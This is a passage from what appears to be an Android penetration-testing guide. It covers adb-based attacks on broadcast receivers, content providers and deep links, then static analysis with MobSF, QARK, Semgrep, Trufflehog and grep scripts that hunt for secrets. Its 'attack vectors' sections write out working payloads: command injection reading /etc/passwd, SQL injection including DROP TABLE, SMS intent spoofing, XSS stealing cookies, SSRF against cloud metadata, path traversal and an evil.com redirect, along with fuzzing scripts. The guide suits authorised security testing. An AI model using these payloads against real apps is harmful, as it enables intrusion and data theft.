# Monitor service status:
adb shell dumpsys activity services $PACKAGE

# Check running services:
adb shell ps -A | grep $PACKAGE
adb shell dumpsys activity services | grep -A 10 $PACKAGE

Testing Broadcast Receivers:
#

# Send broadcast to receiver:
adb shell am broadcast -a com.example.app.ACTION_UPDATE

# Send broadcast with extras:
adb shell am broadcast -a com.example.app.ACTION_CONFIG \
    --es "config_key" "debug_mode" \
    --es "config_value" "true"

# Send ordered broadcast:
adb shell am broadcast -a com.example.app.ACTION_NOTIFY --ordered

# Send broadcast to specific component:
adb shell am broadcast -a com.example.app.ACTION_SYNC \
    -n $PACKAGE/.SyncReceiver

# ATTACK VECTORS:
# 1. Command injection in broadcast data:
adb shell am broadcast -a com.example.app.ACTION_BACKUP \
    --es "path" "/data/data/$PACKAGE/; cat /etc/passwd > /sdcard/pwned.txt"

# 2. Privilege escalation:
adb shell am broadcast -a com.example.app.ADMIN_ACTION \
    --ez "is_admin" true \
    --ei "user_id" 1

# 3. Data manipulation:
adb shell am broadcast -a com.example.app.SET_PRICE \
    --ei "product_id" 123 \
    --ei "new_price" 1

# 4. Intent spoofing:
adb shell am broadcast -a android.provider.Telephony.SMS_RECEIVED \
    --es "sender" "+1234567890" \
    --es "body" "Malicious SMS"

# Monitor broadcasts:
adb shell am monitor
# Or:
adb logcat | grep "Broadcast.*$PACKAGE"

# Find all broadcast actions in manifest:
grep 'action android:name' app_decompiled/AndroidManifest.xml | \
    grep -v "android.intent.action" | \
    sed 's/.*android:name="\([^"]*\)".*/\1/'

Testing Content Providers:
#

# Query content provider:
adb shell content query --uri "content://$PACKAGE.provider/users"

# Query with projection (specific columns):
adb shell content query --uri "content://$PACKAGE.provider/users" \
    --projection id:username:email

# Query with selection (WHERE clause):
adb shell content query --uri "content://$PACKAGE.provider/users" \
    --where "id=1"

# Insert data:
adb shell content insert --uri "content://$PACKAGE.provider/users" \
    --bind username:s:attacker \
    --bind email:s:attacker@evil.com

# Update data:
adb shell content update --uri "content://$PACKAGE.provider/users" \
    --where "id=1" \
    --bind is_admin:b:true

# Delete data:
adb shell content delete --uri "content://$PACKAGE.provider/users" \
    --where "id=1"

# Call provider method:
adb shell content call --uri "content://$PACKAGE.provider" \
    --method backupData \
    --arg "/sdcard/backup.db"

# ATTACK VECTORS - SQL Injection:
# 1. Basic SQL injection in WHERE clause:
adb shell content query --uri "content://$PACKAGE.provider/users" \
    --where "id=1' OR '1'='1"

# 2. UNION-based injection:
adb shell content query --uri "content://$PACKAGE.provider/users" \
    --where "id=1' UNION SELECT password FROM admin_users--"

# 3. Time-based blind injection:
adb shell content query --uri "content://$PACKAGE.provider/users" \
    --where "id=1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 1 END)--"

# 4. Injection in URI path:
adb shell content query --uri "content://$PACKAGE.provider/users/1' OR '1'='1--"

# 5. Path traversal:
adb shell content query --uri "content://$PACKAGE.provider/../../../system/users"

# Extract provider authorities from manifest:
grep 'android:authorities' app_decompiled/AndroidManifest.xml | \
    sed 's/.*android:authorities="\([^"]*\)".*/\1/'

# Automated SQL injection testing:
cat > test_provider_sqli.sh << 'EOF'
#!/bin/bash
PACKAGE="$1"
AUTHORITY="$2"

echo "[*] Testing SQL injection in content provider: $AUTHORITY"

PAYLOADS=(
    "1' OR '1'='1"
    "1' OR 1=1--"
    "1' UNION SELECT NULL--"
    "1' AND 1=2 UNION SELECT password FROM users--"
    "1'; DROP TABLE users--"
)

for payload in "${PAYLOADS[@]}"; do
    echo "[*] Testing payload: $payload"
    adb shell content query --uri "content://$AUTHORITY/users" \
        --where "id=$payload" 2>&1 | grep -E "Error|Exception|result"
    echo ""
done
EOF

chmod +x test_provider_sqli.sh
./test_provider_sqli.sh com.example.app com.example.app.provider

Deep Link Testing#

# Test basic deep link:
adb shell am start -W -a android.intent.action.VIEW \
    -d "myapp://profile?user_id=123"

# Test with special characters:
adb shell am start -W -a android.intent.action.VIEW \
    -d "myapp://profile?user_id=123%27%20OR%20%271%27=%271"

# ATTACK VECTORS:
# 1. XSS in WebView deep link:
adb shell am start -W -a android.intent.action.VIEW \
    -d "myapp://webview?url=javascript:alert(document.cookie)"

# 2. File access via deep link:
adb shell am start -W -a android.intent.action.VIEW \
    -d "myapp://webview?url=file:///data/data/$PACKAGE/shared_prefs/"

# 3. SSRF via deep link:
adb shell am start -W -a android.intent.action.VIEW \
    -d "myapp://api?endpoint=http://169.254.169.254/latest/meta-data/"

# 4. Parameter pollution:
adb shell am start -W -a android.intent.action.VIEW \
    -d "myapp://payment?amount=100&amount=999999"

# 5. Path traversal:
adb shell am start -W -a android.intent.action.VIEW \
    -d "myapp://download?file=../../../etc/passwd"

# 6. Open redirect:
adb shell am start -W -a android.intent.action.VIEW \
    -d "myapp://redirect?url=https://evil.com/phishing"

# 7. Account takeover:
adb shell am start -W -a android.intent.action.VIEW \
    -d "myapp://reset-password?token=stolen_token&user=victim"

# Test from browser (via adb shell):
adb shell am start -W -a android.intent.action.VIEW \
    -d "intent://profile?user_id=123#Intent;scheme=myapp;package=$PACKAGE;end"

# Automated deep link fuzzing:
cat > fuzz_deeplinks.sh << 'EOF'
#!/bin/bash
PACKAGE="$1"
SCHEME="$2"

echo "[*] Fuzzing deep links for $PACKAGE with scheme $SCHEME"

PAYLOADS=(
    "javascript:alert(1)"
    "file:///etc/passwd"
    "file:///data/data/$PACKAGE/"
    "http://169.254.169.254/latest/meta-data/"
    "../../../etc/passwd"
    "' OR '1'='1"
    "<script>alert(1)</script>"
    "%00"
    "%0a%0d"
)

ENDPOINTS=("webview" "browser" "load" "open" "redirect" "api")

for endpoint in "${ENDPOINTS[@]}"; do
    for payload in "${PAYLOADS[@]}"; do
        echo "[*] Testing: $SCHEME://$endpoint?url=$payload"
        adb shell am start -W -a android.intent.action.VIEW \
            -d "$SCHEME://$endpoint?url=$payload" 2>&1 | \
            grep -E "Error|Exception|ActivityNotFoundException"
        sleep 1
    done
done
EOF

chmod +x fuzz_deeplinks.sh
./fuzz_deeplinks.sh com.example.app myapp

Code Review & Static Vulnerability Analysis
#

Automated Vulnerability Scanning
#

MobSF (Mobile Security Framework) - Comprehensive Scanner:
#

# Install MobSF via Docker (recommended):
docker pull opensecurity/mobile-security-framework-mobsf:latest

# Run MobSF:
docker run -it --rm -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest

# Access web interface: http://localhost:8000

# Alternative: Install from source
git clone https://github.com/MobSF/Mobile-Security-Framework-MobSF.git
cd Mobile-Security-Framework-MobSF
./setup.sh  # Install dependencies
./run.sh    # Start MobSF

# API-based scanning (automation):
# Upload APK:
curl -X POST http://localhost:8000/api/v1/upload \
    -F "file=@app.apk" \
    -H "Authorization: YOUR_API_KEY"

# Scan APK (returns scan_hash):
curl -X POST http://localhost:8000/api/v1/scan \
    -F "scan_type=apk" \
    -F "file_name=app.apk" \
    -F "hash=<FILE_HASH>" \
    -H "Authorization: YOUR_API_KEY"

# Get results:
curl -X POST http://localhost:8000/api/v1/report_json \
    -F "hash=<SCAN_HASH>" \
    -H "Authorization: YOUR_API_KEY" > mobsf_report.json

# MobSF analyzes:
# - Manifest permissions and components
# - Hardcoded secrets and credentials
# - Insecure cryptography
# - Code vulnerabilities
# - Binary analysis
# - Network security
# - Certificate analysis

# OPSEC: Run MobSF in isolated environment for sensitive apps

QARK (Quick Android Review Kit):
#

# Install QARK:
pip3 install qark

# Scan APK:
qark --apk app.apk

# Scan source code:
qark --java ./app_decompiled/

# Generate JSON report:
qark --apk app.apk --report-type json --output qark-report.json

# Generate HTML report:
qark --apk app.apk --report-type html --output qark-report.html

# Advanced options:
qark --apk app.apk \
    --exploit-apk \              # Generate exploit APK for findings
    --debug \                    # Verbose output
    --output ./qark_results

# QARK detects:
# - Exported components vulnerabilities
# - WebView issues
# - Crypto misuse
# - Intents vulnerabilities
# - SQL injection points
# - Path traversal

AndroBugs Framework:
#

# Install AndroBugs:
git clone https://github.com/AndroBugs/AndroBugs_Framework.git
cd AndroBugs_Framework

# Install dependencies:
pip3 install -r requirements.txt

# Scan APK:
python androbugs.py -f app.apk

# Detailed scan with mode:
python androbugs.py -f app.apk -m massive

# Save report:
python androbugs.py -f app.apk -o androbugs_report.txt

# Batch scanning:
python androbugs.py -d ./apk_directory/ -o ./reports/

# AndroBugs checks:
# - SSL/TLS issues
# - WebView vulnerabilities
# - Intent handling
# - Exported components
# - Hardcoded keys
# - Logging sensitive data

Semgrep:
#

# Install Semgrep:
pip3 install semgrep

# Scan decompiled Java code:
semgrep --config=auto app_decompiled/

# Use Android-specific rules:
semgrep --config "p/android" app_decompiled/

# Security-focused scan:
semgrep --config "p/security-audit" app_decompiled/

# OWASP ruleset:
semgrep --config "p/owasp-top-ten" app_decompiled/

# Output JSON:
semgrep --config=auto app_decompiled/ --json > semgrep-results.json

# Custom rules for Android:
cat > android-security.yaml << 'EOF'
rules:
  - id: android-hardcoded-secret
    patterns:
      - pattern-either:
          - pattern: |
              String $VAR = "...";
              ...
              $KEY.contains("password")
          - pattern: |
              private static final String $API_KEY = "...";
    message: Potential hardcoded secret found
    severity: ERROR
    languages: [java]
    
  - id: android-insecure-webview
    pattern: |
      $WEBVIEW.getSettings().setJavaScriptEnabled(true);
    message: JavaScript enabled in WebView without proper validation
    severity: WARNING
    languages: [java]
    
  - id: android-sql-injection
    pattern: |
      $DB.rawQuery($QUERY, ...)
    message: Potential SQL injection - use parameterized queries
    severity: ERROR
    languages: [java]
EOF

semgrep --config android-security.yaml app_decompiled/

# OPSEC: Semgrep excellent for CI/CD integration

Trufflehog (Secret Scanning):
#

# Install Trufflehog:
pip3 install truffleHog

# Or use standalone binary:
wget https://github.com/trufflesecurity/trufflehog/releases/download/v3.63.0/trufflehog_3.63.0_linux_amd64.tar.gz
tar -xzf trufflehog_3.63.0_linux_amd64.tar.gz

# Scan decompiled source:
trufflehog filesystem app_decompiled/ --json > secrets.json

# Scan specific file types:
trufflehog filesystem app_decompiled/ \
    --include "*.java" \
    --include "*.xml" \
    --json

# High entropy detection:
trufflehog filesystem app_decompiled/ \
    --entropy-level 4.5 \
    --json

# Verify found secrets:
trufflehog filesystem app_decompiled/ --verify

# Alternative: gitleaks for git repos
gitleaks detect --source app_decompiled/ --report-path gitleaks-report.json

Manual Code Analysis - Systematic Approach
#

Search for Sensitive Keywords:
#

# Navigate to decompiled directory:
cd app_decompiled/

# 1. Authentication & Credentials:
grep -r -i -n -E "(password|passwd|pwd|secret|credential|auth_token)" \
    --include="*.java" --include="*.smali" . | tee auth-keywords.txt

# 2. API Keys and Tokens:
grep -r -i -n -E "(api[_-]?key|api[_-]?secret|access[_-]?token|bearer|oauth)" \
    --include="*.java" . | tee api-keys.txt

# 3. Encryption Keys:
grep -r -i -n -E "(private[_-]?key|secret[_-]?key|encryption[_-]?key|aes[_-]?key)" \
    --include="*.java" . | tee crypto-keys.txt

# 4. Firebase/Backend URLs:
grep -r -n -E "https?://[a-zA-Z0-9.-]+(firebase|aws|azure|herokuapp|api)" \
    --include="*.java" --include="*.xml" . | tee endpoints.txt

# 5. Database connections:
grep -r -i -n -E "(jdbc|mongodb|mysql|postgresql|database[_-]?url)" \
    --include="*.java" . | tee database-connections.txt

# 6. Hardcoded IPs and internal URLs:
grep -r -n -E "[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}" \
    --include="*.java" . | tee ip-addresses.txt

# 7. Email addresses (potential info disclosure):
grep -r -n -E "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" \
    --include="*.java" . | tee emails.txt

# 8. Cloud storage keys:
grep -r -i -n -E "(s3[_-]?bucket|azure[_-]?storage|gcs[_-]?bucket)" \
    --include="*.java" . | tee cloud-storage.txt

# Advanced search with context (10 lines before/after):
grep -r -i -B 10 -A 10 "api_key" --include="*.java" . > api-key-context.txt

# Search for specific patterns (base64 encoded secrets):
grep -r -n -E "[A-Za-z0-9+/]{40,}={0,2}" --include="*.java" . | tee base64-strings.txt

# Automated sensitive data extraction:
cat > extract_secrets.sh << 'EOF'
#!/bin/bash
DECOMPILED_DIR="$1"

echo "=== Searching for Sensitive Data in $DECOMPILED_DIR ==="

echo -e "\n[*] Searching for hardcoded passwords..."
grep -r -i -n "password\s*=\s*\"" --include="*.java" "$DECOMPILED_DIR" | \
    grep -v "PASSWORD_PLACEHOLDER" | head -20

echo -e "\n[*] Searching for API keys..."
grep -r -i -n "api.*key\s*=\s*\"[A-Za-z0-9]" --include="*.java" "$DECOMPILED_DIR" | \
    head -20

echo -e "\n[*] Searching for Firebase URLs..."
grep -r -n "firebaseio.com\|firebase.com" --include="*.java" --include="*.xml" \
    "$DECOMPILED_DIR" | head -10

echo -e "\n[*] Searching for AWS credentials..."
grep -r -n -E "(AKIA[0-9A-Z]{16}|aws_access_key_id)" --include="*.java" \
    "$DECOMPILED_DIR" | head -10

echo -e "\n[*] Searching for private keys..."
grep -r -n "BEGIN.*PRIVATE KEY" --include="*.java" --include="*.pem" \
    "$DECOMPILED_DIR" | head -10

echo -e "\n[*] Searching for JWT tokens..."
grep -r -n -E "eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\." --include="*.java" \
    "$DECOMPILED_DIR" | head -10

echo -e "\n=== Search Complete ==="
EOF

chmod +x extract_secrets.sh
./extract_secrets.sh app_decompiled/

Insecure Data Storage Patterns:
#

# 1. SharedPreferences without encryption:
grep -r -n "getSharedPreferences\|SharedPreferences" --include="*.java" . | \
    grep -v "EncryptedSharedPreferences"

# Check for MODE_WORLD_READABLE/WRITABLE (deprecated but still risky):
grep -r -n "MODE_WORLD_READABLE\|MODE_WORLD_WRITABLE" --include="*.java" .

# 2. External storage usage (SD card):
grep -r -n "getExternalStorageDirectory\|getExternalFilesDir\|getExternalCacheDir" \
    --include="*.java" .

# 3. Internal storage with improper permissions:
grep -r -n "openFileOutput.*MODE_WORLD" --include="*.java" .

# 4. SQLite database operations:
grep -r -n "SQLiteDatabase\|SQLiteOpenHelper" --include="*.java" . | tee sqlite-usage.txt

# Check for unencrypted database:
grep -r -n "SQLiteDatabase" --include="*.java" . | \
    grep -v "SQLCipher\|Encrypted" | head -20

# 5. Logging sensitive data:
grep -r -n "Log\.[dwie].*password\|Log\.[dwie].*token\|Log\.[dwie].*secret" \
    --include="*.java" . | head -20

# 6. Clipboard usage (potential data leakage):
grep -r -n "ClipboardManager\|setPrimaryClip\|getPrimaryClip" --include="*.java" .

# 7. Screenshots allowed (FLAG_SECURE not set):
grep -r -n "FLAG_SECURE" --include="*.java" .
# If no results, app allows screenshots on sensitive screens

# Comprehensive storage analysis:
cat > analyze_storage.py << 'EOF'
import os
import re

def analyze_storage_security(decompiled_dir):
    issues = {
        'unencrypted_prefs': [],
        'external_storage': [],
        'world_accessible': [],
        'logged_sensitive': [],
        'clipboard_usage': []
    }
    
    for root, dirs, files in os.walk(decompiled_dir):
        for file in files:
            if file.endswith('.java'):
                filepath = os.path.join(root, file)
                try:
                    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
                        content = f.read()
                        lines = content.split('\n')
                        
                        for i, line in enumerate(lines, 1):
                            # Check SharedPreferences without encryption
                            if 'getSharedPreferences' in line and \
                               'EncryptedSharedPreferences' not in content:
                                issues['unencrypted_prefs'].append(
                                    f"{filepath}:{i}: {line.strip()}"
                                )
                            
                            # Check external storage
                            if re.search(r'getExternalStorage', line):
                                issues['external_storage'].append(
                                    f"{filepath}:{i}: {line.strip()}"
                                )
                            
                            # Check world accessible
                            if 'MODE_WORLD' in line:
                                issues['world_accessible'].append(
                                    f"{filepath}:{i}: {line.strip()}"
                                )
                            
                            # Check logged sensitive data
                            if re.search(r'Log\.[dwie].*(?:password|token|secret|key)', 
                                       line, re.IGNORECASE):
                                issues['logged_sensitive'].append(
                                    f"{filepath}:{i}: {line.strip()}"
                                )
                            
                            # Check clipboard usage
                            if 'ClipboardManager' in line or 'setPrimaryClip' in line:
                                issues['clipboard_usage'].append(
                                    f"{filepath}:{i}: {line.strip()}"
                                )
                except Exception as e:
                    pass
    
    return issues

if __name__ == '__main__':
    import sys
    if len(sys.argv) < 2:
        print("Usage: python analyze_storage.py <decompiled_dir>")
        sys.exit(1)
    
    issues = analyze_storage_security(sys.argv[1])
    
    print("\n=== Storage Security Analysis ===")
    for issue_type, findings in issues.items():
        if findings:
            print(f"\n{issue_type.upper().replace('_', ' ')} ({len(findings)} found):")
            for finding in findings[:10]:  # Show first 10
                print(f"  {finding}")
            if len(findings) > 10:
                print(f"  ... and {len(findings) - 10} more")
EOF

python3 analyze_storage.py app_decompiled/

Cryptographic Issues:
#

# 1. Weak algorithms:
grep -r -i -n -E "(DES\(|\"DES\"|TripleDES|RC4|MD5|SHA1)" --include="*.java" . | \
    grep -v "SHA256\|SHA512" | tee weak-crypto.txt

# 2. Hardcoded encryption keys/IVs:
grep -r -n "SecretKeySpec\|IvParameterSpec" --include="*.java" . | tee hardcoded-keys.txt

# Check for hardcoded byte arrays (potential keys):
grep -r -n "byte\[\]\s*\w*\s*=\s*{" --include="*.java" . | head -20

# 3. ECB mode (insecure - no IV):
grep -r -i -n "ECB" --include="*.java" .

# 4. Insecure random number generation:
grep -r -n "new Random()" --include="*.java" . | \
    grep -v "SecureRandom" | tee insecure-random.txt

# Should use SecureRandom instead:
grep -r -n "SecureRandom" --include="*.java" .

# 5. Cipher initialization:
grep -r -n "Cipher.getInstance" --include="*.java" . | tee cipher-usage.txt

# Check for proper transformation (should be "AES/GCM/NoPadding" or similar):
grep -r -n 'Cipher.getInstance.*"AES"' --include="*.java" . | \
    grep -v "GCM\|CBC"

# 6. Key derivation:
grep -r -n "PBEKeySpec\|PBKDF2" --include="*.java" .

# 7. Certificate pinning implementation:
grep -r -n "CertificatePinner\|TrustManager\|X509TrustManager" --include="*.java" .

# Comprehensive crypto analysis:
cat > analyze_crypto.sh << 'EOF'
#!/bin/bash
DECOMPILED_DIR="$1"

echo "=== Cryptographic Security Analysis ==="

echo -e "\n[HIGH] Weak Algorithms:"
grep -r -i -E "(DES\(|\"DES\"|RC4|MD5(?!.*SHA))" --include="*.java" "$DECOMPILED_DIR" | \
    grep -v "MESSAGE" | head -10

echo -e "\n[HIGH] Hardcoded Keys:"
grep -r -n "SecretKeySpec.*new byte\[\]" --include="*.java" "$DECOMPILED_DIR" | head -10

echo -e "\n[MEDIUM] ECB Mode Usage:"
grep -r -i "ECB" --include="*.java" "$DECOMPILED_DIR" | head -10

echo -e "\n[MEDIUM] Insecure Random:"
grep -r -n "new Random()" --include="*.java" "$DECOMPILED_DIR" | \
    grep -v "SecureRandom" | head -10

echo -e "\n[INFO] Cipher Implementations:"
grep -r -n "Cipher.getInstance" --include="*.java" "$DECOMPILED_DIR" | head -10

echo -e "\n[INFO] SecureRandom Usage (Good):"
grep -r -n "SecureRandom" --include="*.java" "$DECOMPILED_DIR" | head -5
EOF

chmod +x analyze_crypto.sh
./analyze_crypto.sh app_decompiled/

Network Security Issues:
#

# 1. SSL/TLS certificate validation bypass:
grep -r -n "TrustManager\|X509TrustManager" --include="*.java" .

# Look for "trust all certificates" patterns:
grep -r -B 5 -A 5 "checkServerTrusted.*{}" --include="*.java" . | tee ssl-bypass.txt

# 2. Hostname verification bypass:
grep -r -n "HostnameVerifier\|ALLOW_ALL_HOSTNAME_VERIFIER" --include="*.java" .

# 3. HTTP usage (not HTTPS):
grep -r -n '"http://' --include="*.java" --include="*.xml" . | \
    grep -v "http://schemas\|xmlns" | tee http-usage.txt

# 4. Certificate pinning implementation:
grep -r -n "CertificatePinner" --include="*.java" .

# If no results, app likely doesn't implement pinning (vulnerability)

# 5. WebSocket security:
grep -r -n "ws://\|wss://" --include="*.java" .

# 6. Network Security Config:
cat res/xml/network_security_config.xml 2>/dev/null

# 7. OkHttp interceptors (potential security issues):
grep -r -n "addInterceptor\|Interceptor" --include="*.java" .

# 8. Retrofit/HTTP clients:
grep -r -n "Retrofit\|OkHttpClient\|HttpURLConnection" --include="*.java" . | \
    tee http-clients.txt

# Network security analysis script:
cat > analyze_network.py << 'EOF'
import os
import re

def analyze_network_security(decompiled_dir):
    issues = {
        'ssl_bypass': [],
        'hostname_bypass': [],
        'http_usage': [],
        'no_pinning': True,
        'insecure_websocket': []
    }
    
    for root, dirs, files in os.walk(decompiled_dir):
        for file in files:
            if file.endswith('.java'):
                filepath = os.path.join(root, file)
                try:
                    with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
                        content = f.read()
                        
                        # Check SSL bypass
                        if re.search(r'checkServerTrusted.*\{\s*\}', content):
                            issues['ssl_bypass'].append(filepath)
                        
                        # Check hostname bypass
                        if 'ALLOW_ALL_HOSTNAME_VERIFIER' in content:
                            issues['hostname_bypass'].append(filepath)
                        
                        # Check HTTP usage
                        http_matches = re.findall(r'"http://[^"]+', content)
                        if http_matches:
                            for match in http_matches:
                                if 'schemas.android.com' not in match:
                                    issues['http_usage'].append(f"{filepath}: {match}")
                        
                        # Check certificate pinning
                        if 'CertificatePinner' in content:
                            issues['no_pinning'] = False
                        
                        # Check insecure WebSocket
                        if re.search(r'"ws://', content):
                            issues['insecure_websocket'].append(filepath)
                            
                except Exception:
                    pass
    
    return issues

if __name__ == '__main__':
    import sys
    if len(sys.argv) < 2:
        print("Usage: python analyze_network.py <decompiled_dir>")
        sys.exit(1)
    
    issues = analyze_network_security(sys.argv[1])
    
    print("\n=== Network Security Analysis ===")
    
    if issues['ssl_bypass']:
        print(f"\n[CRITICAL] SSL Certificate Validation Bypass ({len(issues['ssl_bypass'])} files):")
        for f in issues['ssl_bypass'][:5]:
            print(f"  {f}")
    
    if issues['hostname_bypass']:
        print(f"\n[CRITICAL] Hostname Verification Bypass ({len(issues['hostname_bypass'])} files):")
        for f in issues['hostname_bypass'][:5]:
            print(f"  {f}")
    
    if issues['http_usage']:
        print(f"\n[HIGH] HTTP Usage Found ({len(issues['http_usage'])} instances):")
        for item in issues['http_usage'][:10]:
            print(f"  {item}")
    
    if issues['no_pinning']:
        print("\n[MEDIUM] No Certificate Pinning Implementation Detected")
    else:
        print("\n[GOOD] Certificate Pinning Implementation Found")
    
    if issues['insecure_websocket']:
        print(f"\n[MEDIUM] Insecure WebSocket Usage ({len(issues['insecure_websocket'])} files):")
        for f in issues['insecure_websocket'][:5]:
            print(f"  {f}")
EOF

python3 analyze_network.py app_decompiled/